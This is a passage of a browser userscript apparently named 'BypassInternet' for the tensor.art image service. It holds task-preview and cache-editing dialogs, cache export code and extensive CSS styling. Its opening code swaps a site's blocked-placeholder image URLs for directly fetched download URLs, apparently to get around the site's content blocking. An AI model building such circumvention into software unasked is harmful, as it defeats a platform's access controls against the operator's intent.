              const bypassUrl = (!isBlockedPlaceholderUrl(item?.url) && item?.url) || getCachedDownloadUrl(item.imageId, mimeType) || await ensureDownloadUrl(item.imageId, mimeType);
              if (!bypassUrl) throw new Error('No bypass URL');
              img.src = bypassUrl;
              attachAutoRefreshOnMediaError(img, item.imageId, mimeType || 'image/png', { forceKind: 'image' });
            } catch {
              tile.innerHTML = `<div style="width:100%; height:100%; display:flex; align-items:center; justify-content:center; background:rgba(239,68,68,0.1); color:#ef4444;"><i class="fas fa-image"></i></div>`;
            }
          })();
        }
        tile.onclick = async () => {
          const bypassUrl = (!isBlockedPlaceholderUrl(item?.url) && item?.url) || getCachedDownloadUrl(item.imageId, mimeType) || await ensureDownloadUrl(item.imageId, mimeType);
          if (bypassUrl) {
            openImageModal(bypassUrl, task.taskId, task.createdAt, task.expireAt, [], item.imageId, mimeType);
          }
        };
        grid.appendChild(tile);
      });

      if (items.length > 6) {
        const more = document.createElement('div');
        more.style.cssText = 'aspect-ratio:1; border-radius:8px; display:flex; align-items:center; justify-content:center; background:rgba(99,102,241,0.1); color:#6366f1; font-size:14px; font-weight:700;';
        more.textContent = `+${items.length - 6} more`;
        grid.appendChild(more);
      }

      section.appendChild(grid);
      content.appendChild(section);
    };

    const appendModifierSection = () => {
      const wrap = document.createElement('div');
      wrap.style.cssText = `padding:14px; border-radius:12px; border:1px solid rgba(99,102,241,0.35); background:linear-gradient(135deg, rgba(99,102,241,0.12), rgba(56,189,248,0.08)); display:grid; gap:10px;`;

      const top = document.createElement('div');
      top.style.cssText = 'display:flex; align-items:center; justify-content:space-between; gap:12px; flex-wrap:wrap;';
      const label = document.createElement('label');
      label.style.cssText = 'display:flex; align-items:center; gap:10px; cursor:pointer; font-weight:700; color:#c7d2fe;';
      const input = document.createElement('input');
      input.type = 'checkbox';
      input.className = 'bypass-checkbox';
      input.checked = modifierEnabled;
      input.onchange = () => {
        modifierEnabled = input.checked;
        if (!modifierEnabled) rawExpanded = false;
        render();
      };
      label.appendChild(input);
      label.appendChild(document.createTextNode('Modifier'));
      top.appendChild(label);

      const note = document.createElement('div');
      note.style.cssText = `font-size:12px; color:${colors.textSecondary}; line-height:1.55;`;
      note.innerHTML = '<strong style="color:#e0e7ff;">Cache modifier</strong> lets you edit cached task fields inline, tweak raw JSON, and save the result back into local task/item cache data.';
      wrap.appendChild(top);
      wrap.appendChild(note);

      if (modifierEnabled) {
        const actions = document.createElement('div');
        actions.style.cssText = 'display:flex; gap:8px; flex-wrap:wrap;';

        const saveBtn = document.createElement('button');
        saveBtn.className = 'bypass-btn bypass-btn-primary';
        saveBtn.style.cssText = 'width:auto; padding:8px 12px;';
        saveBtn.innerHTML = '<i class="fas fa-save"></i> Save';
        saveBtn.onclick = saveTaskDraft;

        const resetBtn = document.createElement('button');
        resetBtn.className = 'bypass-btn bypass-btn-secondary';
        resetBtn.style.cssText = 'width:auto; padding:8px 12px;';
        resetBtn.innerHTML = '<i class="fas fa-rotate-left"></i> Reset Draft';
        resetBtn.onclick = () => render();

        const jsonBtn = document.createElement('button');
        jsonBtn.className = 'bypass-btn bypass-btn-secondary';
        jsonBtn.style.cssText = 'width:auto; padding:8px 12px;';
        jsonBtn.innerHTML = '<i class="fas fa-code"></i> Open JSON Editor';
        jsonBtn.onclick = openFullJsonEditor;

        actions.appendChild(saveBtn);
        actions.appendChild(resetBtn);
        actions.appendChild(jsonBtn);
        wrap.appendChild(actions);
      }

      content.appendChild(wrap);
    };

    const appendRawSection = () => {
      const section = document.createElement('div');
      section.style.cssText = 'display:grid; gap:10px;';
      const toggle = document.createElement('button');
      toggle.className = 'bypass-btn bypass-btn-secondary';
      toggle.style.cssText = 'width:100%; justify-content:flex-start; padding:10px 12px;';
      toggle.innerHTML = rawExpanded ? '<i class="fas fa-code"></i> Hide Raw Data' : '<i class="fas fa-code"></i> Show Raw Data';
      toggle.onclick = () => {
        rawExpanded = !rawExpanded;
        render();
      };
      section.appendChild(toggle);

      if (rawExpanded) {
        if (modifierEnabled) {
          let rawText = JSON.stringify(readTaskDraftFromUi({ allowRaw: false }), null, 2);
          const editor = createEditorField('__raw__', rawText, {
            multiline: true,
            type: 'raw-json',
            accent: '#cbd5e1',
            fontFamily: "ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, 'Liberation Mono', 'Courier New', monospace",
            minHeight: 280
          });
          editor.removeAttribute('data-preview-field');
          editor.setAttribute('data-preview-raw-editor', 'true');
          editor.style.background = colors.bgTertiary;
          section.appendChild(editor);
          requestAnimationFrame(() => autoResizeField(editor));
        } else {
          const pre = document.createElement('pre');
          pre.style.cssText = `background:${colors.bgTertiary}; padding:12px; border-radius:10px; font-size:10px; line-height:1.55; color:#94a3b8; margin:0; white-space:pre-wrap; word-break:break-word; overflow:visible;`;
          pre.textContent = JSON.stringify(taskDraft, null, 2);
          section.appendChild(pre);
        }
      }

      content.appendChild(section);
    };

    const appendActionRow = () => {
      const actions = document.createElement('div');
      actions.style.cssText = 'display:flex; gap:8px; flex-wrap:wrap;';

      if (modifierEnabled && result.type === 'task') {
        const saveBtn = document.createElement('button');
        saveBtn.className = 'bypass-btn bypass-btn-primary';
        saveBtn.style.cssText = 'flex:1; min-width:160px;';
        saveBtn.innerHTML = '<i class="fas fa-save"></i> Save';
        saveBtn.onclick = saveTaskDraft;
        actions.appendChild(saveBtn);
      }

      const deleteBtn = document.createElement('button');
      deleteBtn.className = 'bypass-btn bypass-btn-danger';
      deleteBtn.style.cssText = 'flex:1; min-width:140px;';
      deleteBtn.innerHTML = '<i class="fas fa-trash"></i> Delete';
      deleteBtn.onclick = () => {
        close();
        if (result.type === 'task') {
          showDeleteCacheDialog(taskDraft?.taskId || result.taskId);
        }
      };

      const closeBtn = document.createElement('button');
      closeBtn.className = 'bypass-btn bypass-btn-secondary';
      closeBtn.style.cssText = 'flex:1; min-width:140px;';
      closeBtn.textContent = 'Close';
      closeBtn.onclick = close;

      actions.appendChild(deleteBtn);
      actions.appendChild(closeBtn);
      content.appendChild(actions);
    };

    const render = () => {
      renderHeader();
      content.innerHTML = '';

      if (result.type === 'task') {
        appendModifierSection();
        appendPreviewSection(taskDraft);
        appendTaskInfoSection(taskDraft);
        appendItemsSection(taskDraft);
        appendRawSection();
      } else {
        const fallback = document.createElement('pre');
        fallback.style.cssText = `background:${colors.bgTertiary}; padding:12px; border-radius:10px; font-size:11px; color:${colors.textSecondary}; white-space:pre-wrap; word-break:break-word; overflow:visible;`;
        fallback.textContent = JSON.stringify(taskDraft, null, 2);
        content.appendChild(fallback);
      }

      appendActionRow();
    };

    render();
    dialog.appendChild(header);
    dialog.appendChild(content);
    overlay.appendChild(dialog);
    overlay.onclick = (e) => {
      if (e.target === overlay) close();
    };
    document.body.appendChild(overlay);
  }

  function exportCache(format) {
    const cache = loadCache();
    const timestamp = new Date().toISOString().replace(/[:.]/g, '-');
    let content = '';
    let filename = '';
    let mimeType = '';

    if (format === 'json') {
      content = JSON.stringify(cache, null, 2);
      filename = `bypass-cache-${timestamp}.json`;
      mimeType = 'application/json';
    } else if (format === 'csv') {
      // CSV format
      const lines = ['Task ID,Tool Name,Created At,Expire At,Source,Items Count'];
      cache.tasks.forEach(task => {
        const toolName = task?.workflowTemplateInfo?.name || task?.workflowInfo?.name || 'Unknown';
        const itemsCount = task.items?.length || 0;
        lines.push(`"${task.taskId}","${toolName}","${task.createdAt}","${task.expireAt}","${task.source || 'tensor.art'}",${itemsCount}`);
      });
      content = lines.join('\n');
      filename = `bypass-cache-${timestamp}.csv`;
      mimeType = 'text/csv';
    } else if (format === 'txt') {
      // Text format
      const lines = ['BypassInternet Cache Export', `Generated: ${new Date().toLocaleString()}`, '', 'TASKS:', ''];
      cache.tasks.forEach(task => {
        lines.push(`Task ID: ${task.taskId}`);
        lines.push(`  Tool: ${task?.workflowTemplateInfo?.name || task?.workflowInfo?.name || 'Unknown'}`);
        lines.push(`  Created: ${task.createdAt}`);
        lines.push(`  Items: ${task.items?.length || 0}`);
        lines.push('');
      });
      content = lines.join('\n');
      filename = `bypass-cache-${timestamp}.txt`;
      mimeType = 'text/plain';
    }

    // Download the file
    const blob = new Blob([content], { type: mimeType });
    const url = URL.createObjectURL(blob);
    const a = document.createElement('a');
    a.href = url;
    a.download = filename;
    document.body.appendChild(a);
    a.click();
    document.body.removeChild(a);
    URL.revokeObjectURL(url);

    showToast(`Exported as ${filename}`, 'success');
  }

  function getThemeColors() {
    if (settings.inheritTheme) {
      const css = getComputedStyle(document.documentElement);
      const bodyCss = getComputedStyle(document.body || document.documentElement);
      const pick = (...values) => values.map(v => String(v || '').trim()).find(Boolean) || '';

      const parseColor = (value) => {
        const v = String(value || '').trim();
        if (!v || v === 'transparent') return null;
        const rgb = v.match(/^rgba?\(([^)]+)\)$/i);
        if (rgb) {
          const parts = rgb[1].split(',').map(p => Number(String(p).trim())).filter(Number.isFinite);
          if (parts.length >= 3) return { r: parts[0], g: parts[1], b: parts[2] };
        }
        const hex = v.match(/^#([0-9a-f]{3,8})$/i);
        if (hex) {
          const h = hex[1];
          if (h.length === 3) {
            return {
              r: parseInt(h[0] + h[0], 16),
              g: parseInt(h[1] + h[1], 16),
              b: parseInt(h[2] + h[2], 16)
            };
          }
          if (h.length >= 6) {
            return {
              r: parseInt(h.slice(0, 2), 16),
              g: parseInt(h.slice(2, 4), 16),
              b: parseInt(h.slice(4, 6), 16)
            };
          }
        }
        return null;
      };

      const luminance = (c) => {
        if (!c) return 0;
        const norm = [c.r, c.g, c.b].map((x) => {
          const n = x / 255;
          return n <= 0.03928 ? n / 12.92 : Math.pow((n + 0.055) / 1.055, 2.4);
        });
        return (0.2126 * norm[0]) + (0.7152 * norm[1]) + (0.0722 * norm[2]);
      };

      const contrastRatio = (a, b) => {
        const l1 = luminance(parseColor(a));
        const l2 = luminance(parseColor(b));
        const max = Math.max(l1, l2);
        const min = Math.min(l1, l2);
        return (max + 0.05) / (min + 0.05);
      };

      const bgPrimary = pick(css.getPropertyValue('--background-primary'), css.getPropertyValue('--bg-color'), '#0f172a');
      const bgSecondary = pick(css.getPropertyValue('--background-on-primary'), css.getPropertyValue('--card-bg-color'), '#1e293b');
      const borderColor = pick(css.getPropertyValue('--stroke-secondary'), css.getPropertyValue('--border-color'), '#475569');
      const accent = pick(css.getPropertyValue('--color-main'), css.getPropertyValue('--primary-color'), '#6366f1');
      let textPrimary = pick(css.getPropertyValue('--text-primary'), css.getPropertyValue('--text-color-primary'), bodyCss.color, '#f1f5f9');
      let textSecondary = pick(css.getPropertyValue('--text-secondary'), css.getPropertyValue('--text-color-secondary'), '#cbd5e1');

      if (contrastRatio(textPrimary, bgPrimary) < 2.8) {
        const bgLum = luminance(parseColor(bgPrimary));
        textPrimary = bgLum < 0.5 ? '#f1f5f9' : '#0f172a';
      }
      if (contrastRatio(textSecondary, bgSecondary) < 2.2) {
        const bgLum = luminance(parseColor(bgSecondary));
        textSecondary = bgLum < 0.5 ? '#cbd5e1' : '#334155';
      }

      return {
        primary: accent,
        primaryHover: accent,
        bg: bgPrimary,
        bgSecondary,
        bgTertiary: pick(css.getPropertyValue('--background-tertiary'), '#334155'),
        text: textPrimary,
        textSecondary,
        border: borderColor,
        success: pick(css.getPropertyValue('--color-success'), '#10b981'),
        error: pick(css.getPropertyValue('--color-error'), '#ef4444'),
        warning: pick(css.getPropertyValue('--text-yellow'), '#f59e0b')
      };
    }
    return designSystem[settings.theme];
  }

  function injectStyles() {
    const colors = getThemeColors();
    let style = document.getElementById('bypass-styles');
    if (!style) {
      style = document.createElement('style');
      style.id = 'bypass-styles';
      document.head.appendChild(style);
    }
    const nextCss = `
      * {
        box-sizing: border-box;
      }

      @keyframes slideInDown {
        from { opacity: 0; transform: translateY(-20px); }
        to { opacity: 1; transform: translateY(0); }
      }

      @keyframes slideInUp {
        from { opacity: 0; transform: translateY(20px); }
        to { opacity: 1; transform: translateY(0); }
      }

      @keyframes fadeIn {
        from { opacity: 0; }
        to { opacity: 1; }
      }

      @keyframes shimmer {
        0%, 100% { opacity: 0.6; }
        50% { opacity: 1; }
      }

      @keyframes smoothBounce {
        0%, 100% { transform: translateY(0); }
        50% { transform: translateY(-2px); }
      }

      .bypass-container {
        all: revert;
        position: fixed;
        z-index: 99999;
        font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
        font-size: 14px;
        -webkit-user-select: none;
        user-select: none;
        background: ${colors.bg};
        color: ${colors.text};
        border: 1px solid ${colors.border};
        border-radius: 22px;
        box-shadow: 0 20px 60px rgba(0, 0, 0, 0.35);
        overflow: hidden;
        display: flex;
        flex-direction: column;
        transition: all 0.5s cubic-bezier(0.4, 0, 0.2, 1);
        backdrop-filter: blur(20px);
        animation: none;
      }

      .bypass-container.bypass-move-armed {
        cursor: grab;
        box-shadow: 0 0 0 2px rgba(99, 102, 241, 0.38), 0 26px 80px rgba(0, 0, 0, 0.45);
      }

      .bypass-container.bypass-fullscreen {
        top: 0 !important;
        left: 0 !important;
        right: 0 !important;
        bottom: 0 !important;
        width: 100vw !important;
        height: 100vh !important;
        transform: none !important;
        border-radius: 0 !important;
      }

      .bypass-container.bypass-fullscreen:hover {
        transform: none;
      }

      .bypass-container:hover {
        box-shadow: 0 30px 80px rgba(0, 0, 0, 0.4);
        transform: translateY(-2px);
      }

      .bypass-header {
        background: linear-gradient(135deg, ${colors.primary}, ${colors.primaryHover});
        padding: 20px;
        display: flex;
        align-items: center;
        justify-content: space-between;
        cursor: move;
        user-select: none;
        flex-shrink: 0;
        box-shadow: 0 4px 20px rgba(99, 102, 241, 0.15);
        position: relative;
      }

      .bypass-header::after {
        content: '';
        position: absolute;
        bottom: 0;
        left: 0;
        right: 0;
        height: 1px;
        background: linear-gradient(90deg, transparent, rgba(255,255,255,0.2), transparent);
      }

      .bypass-header-title {
        display: flex;
        align-items: center;
        gap: 12px;
        font-weight: 700;
        color: white;
        font-size: 16px;
        margin: 0;
        letter-spacing: 0.5px;
      }

      .bypass-header-icon {
        font-size: 20px;
        animation: smoothBounce 3s infinite;
      }

      .bypass-header-actions {
        display: flex;
        gap: 10px;
        align-items: center;
      }

      .bypass-header-message {
        margin: 8px 0 0 28px;
        padding: 6px 10px;
        border-radius: 999px;
        font-size: 11px;
        font-weight: 800;
        letter-spacing: 0.25px;
        display: none;
        align-items: center;
        gap: 8px;
        background: rgba(15, 23, 42, 0.28);
        border: 1px solid rgba(255, 255, 255, 0.25);
        color: rgba(255, 255, 255, 0.95);
        max-width: 520px;
        overflow: hidden;
        text-overflow: ellipsis;
        white-space: nowrap;
      }

      .bypass-header-message.is-required {
        background: rgba(239, 68, 68, 0.18);
        border-color: rgba(239, 68, 68, 0.55);
      }

      .bypass-btn-icon {
        background: rgba(255, 255, 255, 0.15);
        border: 1px solid rgba(255, 255, 255, 0.2);
        color: white;
        width: 36px;
        height: 36px;
        border-radius: 8px;
        cursor: pointer;
        display: flex;
        align-items: center;
        justify-content: center;
        font-size: 16px;
        transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
        backdrop-filter: blur(10px);
      }

      .bypass-btn-icon:hover {
        background: rgba(255, 255, 255, 0.25);
        transform: scale(1.08);
        box-shadow: 0 4px 12px rgba(0, 0, 0, 0.2);
      }

      .bypass-btn-icon:active {
        transform: scale(0.95);
      }

      .bypass-btn-icon.is-active {
        background: rgba(255, 255, 255, 0.28);
        border-color: rgba(255, 255, 255, 0.45);
        box-shadow: 0 8px 24px rgba(0, 0, 0, 0.22);
      }

      .bypass-dev-subtabs {
        display: flex;
        gap: 8px;
        align-items: center;
        justify-content: space-between;
        padding: 10px 12px;
        border: 1px solid rgba(148,163,184,0.25);
        border-radius: 12px;
        background: rgba(15,23,42,0.35);
      }

      .bypass-dev-subtab-group {
        display: flex;
        gap: 8px;
        align-items: center;
        flex-wrap: wrap;
      }

      .bypass-dev-subtab-btn {
        border: 1px solid rgba(148,163,184,0.35);
        background: rgba(51,65,85,0.25);
        color: ${colors.textSecondary};
        border-radius: 10px;
        padding: 7px 10px;
        cursor: pointer;
        font-size: 11px;
        font-weight: 700;
        letter-spacing: 0.4px;
        text-transform: uppercase;
        display: inline-flex;
        gap: 8px;
        align-items: center;
        transition: all 0.18s ease;
      }

      .bypass-dev-subtab-btn:hover {
        border-color: rgba(99,102,241,0.7);
        color: ${colors.text};
        background: rgba(99,102,241,0.12);
      }

      .bypass-dev-subtab-btn.active {
        border-color: rgba(99,102,241,0.9);
        color: ${colors.text};
        background: rgba(99,102,241,0.18);
        box-shadow: 0 8px 22px rgba(99,102,241,0.12);
      }

      .bypass-inject-editor .CodeMirror {
        height: 100% !important;
      }

      /* Custom scrollbars for the inject editor overlay (it sits outside .bypass-container) */
      .bypass-inject-editor * {
        scrollbar-width: thin;
        scrollbar-color: rgba(99, 102, 241, 0.55) rgba(15, 23, 42, 0.15);
      }

      .bypass-inject-editor *::-webkit-scrollbar {
        width: 10px;
        height: 10px;
      }

      .bypass-inject-editor *::-webkit-scrollbar-track {
        background: rgba(15, 23, 42, 0.12);
        border-radius: 999px;
      }

      .bypass-inject-editor *::-webkit-scrollbar-thumb {
        background: linear-gradient(180deg, rgba(99, 102, 241, 0.7), rgba(14, 165, 233, 0.5));
        border-radius: 999px;
        border: 2px solid rgba(15, 23, 42, 0.22);
      }

      .bypass-inject-editor *::-webkit-scrollbar-thumb:hover {
        background: linear-gradient(180deg, rgba(99, 102, 241, 0.9), rgba(14, 165, 233, 0.7));
      }

      .bypass-code-error-line {
        background: rgba(239, 68, 68, 0.18) !important;
      }

      .bypass-resize-handle {
        position: absolute;
        bottom: 0;
        right: 0;
        width: 16px;
        height: 16px;
        cursor: se-resize;
        opacity: 0.5;
        transition: opacity 0.3s cubic-bezier(0.4, 0, 0.2, 1);
      }

      .bypass-resize-handle:hover {
        opacity: 1;
      }

      .bypass-resize-handle::after {
        content: '';
        position: absolute;
        bottom: 3px;
        right: 3px;
        width: 5px;
        height: 5px;
        border-right: 2px solid ${colors.textSecondary};
        border-bottom: 2px solid ${colors.textSecondary};
        opacity: 0.7;
      }

      .bypass-tabs {
        display: flex;
        background: ${colors.bg};
        border-bottom: 1px solid ${colors.border};
        gap: 0;
        flex-shrink: 0;
        padding: 0 8px;
        overflow-x: auto;
        overflow-y: hidden;
        scrollbar-width: none; /* Firefox */
        -ms-overflow-style: none; /* IE/Edge */
      }

      .bypass-tabs.bypass-tabs-external {
        gap: 8px;
        padding: 8px 10px 0;
        align-items: flex-end;
      }

      .bypass-tabs::-webkit-scrollbar {
        display: none; /* Chrome/Safari/Opera */
      }

      .bypass-tab {
        flex: 1;
        padding: 14px 20px;
        background: none;
        border: none;
        color: ${colors.textSecondary};
        cursor: pointer;
        font-weight: 600;
        font-size: 13px;
        transition: all 0.4s cubic-bezier(0.4, 0, 0.2, 1);
        position: relative;
        text-transform: uppercase;
        letter-spacing: 0.6px;
        border-radius: 8px 8px 0 0;
        margin: 4px 0 0 0;
      }

      .bypass-tabs.bypass-tabs-external .bypass-tab {
        flex: 0 0 auto;
        min-width: max-content;
        white-space: nowrap;
        padding: 12px 16px;
        margin: 0;
        border-radius: 12px 12px 0 0;
        letter-spacing: 0.45px;
      }

      .bypass-tab:hover {
        color: ${colors.text};
        background: ${colors.bgSecondary};
      }

      .bypass-tab.active {
        color: ${colors.primary};
        background: ${colors.bgSecondary};
      }

      .bypass-tab.active::after {
        content: '';
        position: absolute;
        bottom: -1px;
        left: 20%;
        right: 20%;
        height: 3px;
        background: linear-gradient(90deg, ${colors.primary}, ${colors.primaryHover});
        border-radius: 3px 3px 0 0;
        box-shadow: 0 -2px 8px rgba(99, 102, 241, 0.3);
      }

      .bypass-content {
        flex: 1;
        overflow-y: auto;
        padding: 20px;
        display: flex;
        flex-direction: column;
        gap: 16px;
        background: ${colors.bg};
      }

      /* Services tab */
      .bypass-services-header {
        padding: 14px;
        border-radius: 14px;
        border: 1px solid ${colors.border};
        background: ${colors.bgSecondary};
        display: flex;
        align-items: center;
        justify-content: space-between;
        gap: 12px;
        flex-wrap: wrap;
      }

      .bypass-services-grid {
        display: grid;
        grid-template-columns: repeat(auto-fit, minmax(240px, 1fr));
        gap: 12px;
      }

      .bypass-service-card {
        text-align: left;
        border-radius: 14px;
        border: 1px solid ${colors.border};
        background: ${colors.bgSecondary};
        padding: 12px;
        display: flex;
        flex-direction: column;
        gap: 10px;
        cursor: pointer;
        transition: transform 0.18s ease, box-shadow 0.18s ease, border-color 0.18s ease;
        color: ${colors.text};
      }

      .bypass-service-card:hover {
        transform: translateY(-3px);
        border-color: rgba(99,102,241,0.85);
        box-shadow: 0 14px 32px rgba(99,102,241,0.16);
      }

      .bypass-service-card:active {
        transform: translateY(-1px);
      }

      .bypass-service-card-top {
        display: flex;
        gap: 12px;
        align-items: flex-start;
      }

      .bypass-service-logo {
        width: 44px;
        height: 44px;
        border-radius: 12px;
        border: 1px solid ${colors.border};
        background: rgba(15,23,42,0.25);
        display: inline-flex;
        align-items: center;
        justify-content: center;
        color: ${colors.textSecondary};
        flex-shrink: 0;
        overflow: hidden;
      }

      .bypass-service-logo img {
        width: 100%;
        height: 100%;
        object-fit: cover;
        display: block;
      }

      .bypass-service-title {
        font-weight: 900;
        font-size: 13px;
        color: ${colors.text};
        line-height: 1.2;
        margin: 0;
      }

      .bypass-service-meta {
        margin-top: 6px;
        display: flex;
        flex-wrap: wrap;
        gap: 8px;
        align-items: center;
        color: ${colors.textSecondary};
        font-size: 11px;
      }

      .bypass-chip {
        display: inline-flex;
        align-items: center;
        gap: 6px;
        padding: 3px 10px;
        border-radius: 999px;
        border: 1px solid rgba(148,163,184,0.35);
        background: rgba(51,65,85,0.25);
        color: ${colors.textSecondary};
        font-size: 10px;
        font-weight: 900;
        text-transform: uppercase;
        letter-spacing: 0.35px;
      }

      .bypass-chip-success {
        border-color: rgba(16,185,129,0.6);
        background: rgba(16,185,129,0.12);
        color: #bbf7d0;
      }

      .bypass-chip-warn {
        border-color: rgba(245,158,11,0.65);
        background: rgba(245,158,11,0.12);
        color: #fde68a;
      }

      .bypass-chip-danger {
        border-color: rgba(239,68,68,0.65);
        background: rgba(239,68,68,0.12);
        color: #fecaca;
      }

      .bypass-service-desc,
      .bypass-service-links,
      .bypass-service-caution {
        padding: 14px;
        border-radius: 14px;
        border: 1px solid ${colors.border};
        background: ${colors.bgSecondary};
      }

      .bypass-service-desc-body a {
        color: #93c5fd;
        text-decoration: none;
      }

      .bypass-service-desc-body a:hover {
        text-decoration: underline;
      }

      .bypass-content::-webkit-scrollbar {
        width: 8px;
      }

      .bypass-content::-webkit-scrollbar-track {
        background: transparent;
      }

      .bypass-content::-webkit-scrollbar-thumb {
        background: ${colors.bgTertiary};
        border-radius: 4px;
      }

      .bypass-content::-webkit-scrollbar-thumb:hover {
        background: ${colors.border};
      }

      .bypass-container * {
        scrollbar-width: thin;
        scrollbar-color: ${colors.bgTertiary} transparent;
      }

      .bypass-container *::-webkit-scrollbar {
        width: 8px;
        height: 8px;
      }

      .bypass-container *::-webkit-scrollbar-track {
        background: transparent;
      }

      .bypass-container *::-webkit-scrollbar-thumb {
        background: ${colors.bgTertiary};
        border-radius: 4px;
      }

      .bypass-container *::-webkit-scrollbar-thumb:hover {
        background: ${colors.border};
      }

      .bypass-btn {
        padding: 12px 18px;
        border: none;
        border-radius: 10px;
        cursor: pointer;
        font-weight: 600;
        font-size: 13px;
        transition: all 0.2s ease;
        text-transform: uppercase;
        letter-spacing: 0.5px;
        width: 100%;
        display: flex;
        align-items: center;
        justify-content: center;
        gap: 8px;
      }

      .bypass-btn:active {
        transform: scale(0.96);
      }

      .bypass-btn-primary {
        background: linear-gradient(135deg, ${colors.primary}, ${colors.primaryHover});
        color: white;
        box-shadow: 0 6px 16px rgba(99, 102, 241, 0.25);
        border: none;
      }

      .bypass-btn-primary:hover {
        transform: translateY(-3px);
        box-shadow: 0 10px 28px rgba(99, 102, 241, 0.4);
      }

      .bypass-btn-primary:disabled {
        opacity: 0.6;
        cursor: not-allowed;
        transform: none;
      }

      .bypass-btn-danger {
        background: linear-gradient(135deg, #ef4444, #dc2626);
        color: white;
        box-shadow: 0 6px 16px rgba(239, 68, 68, 0.25);
      }

      .bypass-btn-danger:hover {
        transform: translateY(-3px);
        box-shadow: 0 10px 28px rgba(239, 68, 68, 0.4);
      }

      .bypass-btn-secondary {
        background: ${colors.bgSecondary};
        color: ${colors.text};
        border: 1px solid ${colors.border};
        box-shadow: 0 2px 8px rgba(0, 0, 0, 0.1);
      }

      .bypass-btn-secondary:hover {
        background: ${colors.bgTertiary};
        transform: translateY(-2px);
        box-shadow: 0 6px 16px rgba(0, 0, 0, 0.15);
      }

      .bypass-inline-actions {
        display: flex;
        gap: 8px;
        flex-wrap: wrap;
        align-items: center;
      }

      .bypass-inline-actions > .bypass-btn,
      .bypass-inline-actions > button {
        width: auto !important;
        flex: 0 0 auto;
        white-space: nowrap;
      }

      /* Action Buttons - Icon Only Horizontal Layout */
      .bypass-action-buttons {
        display: flex;
        gap: 12px;
        justify-content: center;
        align-items: center;
        flex-wrap: wrap;
        padding: 10px 12px;
        border: 1px solid ${colors.border};
        border-radius: 12px;
        background: ${colors.bgSecondary};
        margin-top: 12px;
      }

      .bypass-action-btn {
        transition: transform 0.15s ease, box-shadow 0.15s ease, background 0.15s ease;
      }

      .bypass-action-btn {
        width: 44px;
        height: 44px;
        min-width: 44px;
        padding: 10px;
        border: none;
        border-radius: 8px;
        cursor: pointer;
        font-size: 16px;
        display: flex;
        align-items: center;
        justify-content: center;
        transition: all 0.15s ease;
        position: relative;
      }

      .bypass-action-btn i {
        display: block;
      }

      .bypass-action-btn .bypass-action-label {
        display: none;
      }

      .bypass-action-btn-primary {
        background: linear-gradient(135deg, ${colors.primary}, ${colors.primaryHover});
        color: white;
        box-shadow: 0 6px 16px rgba(99, 102, 241, 0.25);
      }

      .bypass-action-btn-primary:hover {
        transform: translateY(-2px);
        box-shadow: 0 8px 20px rgba(99, 102, 241, 0.35);
      }

      .bypass-action-btn-secondary {
        background: ${colors.bgSecondary};
        color: ${colors.text};
        border: 1px solid ${colors.border};
      }

      .bypass-action-btn-secondary:hover {
        background: ${colors.bgTertiary};
        transform: translateY(-2px);
        box-shadow: 0 4px 12px rgba(0, 0, 0, 0.1);
      }

      .bypass-action-btn-danger {
        background: rgba(239, 68, 68, 0.1);
        color: #ef4444;
        border: 1px solid #ef4444;
      }

      .bypass-action-btn-danger:hover {
        background: linear-gradient(135deg, #ef4444, #dc2626);
        color: white;
        transform: translateY(-2px);
        box-shadow: 0 6px 16px rgba(239, 68, 68, 0.3);
      }

      .bypass-action-btn:disabled {
        opacity: 0.6;
        cursor: not-allowed;
        transform: none;
      }

      .bypass-item-card {
        background: ${colors.bgSecondary};
        border: 1px solid ${colors.border};
        border-radius: 12px;
        padding: 14px;
        display: flex;
        flex-direction: column;
        gap: 12px;
        transition: all 0.2s ease;
        animation: slideInUp 0.5s ease-out;
        min-width: 0;
        overflow: hidden;
      }

      .bypass-item-card:hover {
        border-color: ${colors.primary};
        background: ${colors.bgSecondary};
        box-shadow: 0 12px 32px rgba(99, 102, 241, 0.15);
        transform: translateY(-4px);
      }

      .bypass-item-card.selected {
        border-color: ${colors.primary};
        box-shadow: 0 0 0 2px rgba(99, 102, 241, 0.35);
        background: ${colors.bgTertiary};
      }

      .bypass-item-header {
        display: flex;
        justify-content: space-between;
        align-items: center;
        gap: 12px;
      }

      .bypass-item-id {
        font-weight: 600;
        color: ${colors.text};
        font-size: 12px;
        font-family: 'Monaco', 'Courier New', monospace;
        word-break: break-all;
      }

      .bypass-item-type {
        background: linear-gradient(135deg, ${colors.primary}, ${colors.primaryHover});
        color: white;
        padding: 4px 12px;
        border-radius: 8px;
        font-size: 10px;
        font-weight: 700;
        text-transform: uppercase;
        letter-spacing: 0.4px;
        box-shadow: 0 3px 10px rgba(99, 102, 241, 0.25);
        white-space: nowrap;
      }

      .bypass-item-preview {
        width: 100%;
        border-radius: 10px;
        max-height: 200px;
        object-fit: contain;
        background: ${colors.bg};
        border: 1px solid ${colors.border};
        transition: all 0.3s ease;
      }

      .bypass-item-preview:hover {
        border-color: ${colors.primary};
      }

      .bypass-item-buttons {
        display: flex;
        gap: 10px;
        justify-content: stretch;
        flex-wrap: wrap;
      }

      .bypass-item-button {
        flex: 1;
        min-width: 80px;
        padding: 9px 14px;
        border: none;
        border-radius: 8px;
        cursor: pointer;
        font-weight: 600;
        font-size: 12px;
        transition: all 0.4s cubic-bezier(0.4, 0, 0.2, 1);
        display: flex;
        align-items: center;
        justify-content: center;
        gap: 6px;
      }

      .bypass-item-button:active {
        transform: scale(0.95);
      }

      .bypass-item-button-download {
        background: linear-gradient(135deg, ${colors.primary}, ${colors.primaryHover});
        color: white;
        box-shadow: 0 5px 15px rgba(99, 102, 241, 0.3);
      }

      .bypass-item-button-download:hover {
        transform: translateY(-3px);
        box-shadow: 0 8px 20px rgba(99, 102, 241, 0.4);
      }

      .bypass-item-button-telegram {
        background: linear-gradient(135deg, #0088cc, #005fa3);
        color: white;
        box-shadow: 0 4px 12px rgba(0, 136, 204, 0.3);
      }

      .bypass-item-button-telegram:hover {
        transform: translateY(-2px);
        box-shadow: 0 6px 16px rgba(0, 136, 204, 0.4);
      }

      .bypass-item-button-telegram:active {
        transform: translateY(0);
      }

      .bypass-gallery-view {
        display: grid;
        grid-template-columns: repeat(auto-fill, minmax(140px, 1fr));
        gap: 12px;
        width: 100%;
      }

      .bypass-gallery-item {
        position: relative;
        border-radius: 8px;
        overflow: hidden;
        cursor: pointer;
        transition: all 0.3s ease;
        border: 1px solid ${colors.border};
        background: ${colors.bg};
        aspect-ratio: 1;
      }

